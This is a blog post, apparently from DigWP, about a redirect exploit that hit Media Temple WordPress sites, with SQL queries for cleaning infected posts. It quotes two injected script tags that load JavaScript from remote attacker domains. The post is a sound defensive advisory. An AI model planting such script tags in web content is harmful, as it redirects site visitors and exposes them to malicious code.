			<content:encoded><![CDATA[<p>It looks like Media Temple WordPress installs have been hit with a <a href="http://weblog.mediatemple.net/weblog/category/system-incidents/1404-wordpress-redirect-exploit/" title="MT System Status Report">WordPress Redirect Exploit</a>. We got hit here at DigWP.com, but have cleaned things up and are taking steps to prevent it from happening again. Here is what Media Temple knows so far:</p>
<ul>
<li>Visitors viewing&nbsp;posts on your blog may be redirected to a third-party site.&nbsp; This may&nbsp;be a site already blocked by Google.</li>
<li>Visitors may&nbsp; also be forwarded to the domain googlesearch.com, which has already been&nbsp;disabled.</li>
</ul>
<p>They provide <a href="http://wiki.mediatemple.net/w/WordPress_Redirect_Exploit" title="WordPress Redirect Exploit">steps for clearing things up</a>, but it doesn&#8217;t look like the entry-point or source of this hack is known at this point.</p>
<p><span id="more-2547"></span></p>
<p>The hack injects a short JavaScript string into your database at the end of each your post&rsquo;s content. There are (so far) two known variations of the inserted garbage:</p>
<ul>
<li><code>&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;</code></li>
<li><code>&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;</code></li>
</ul>
<p>To clean this up asap, backup your database and run the following <a href="http://digwp.com/2010/03/remove-replace-content-wordpress-database/" title="Remove/Replace Content from the WordPress Database">SQL queries</a>:</p>
<pre><code>UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;', '');

UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;', '');</code></pre>
<p>And remember to change the query prefix from <code>wp_</code> to your custom prefix.</p>
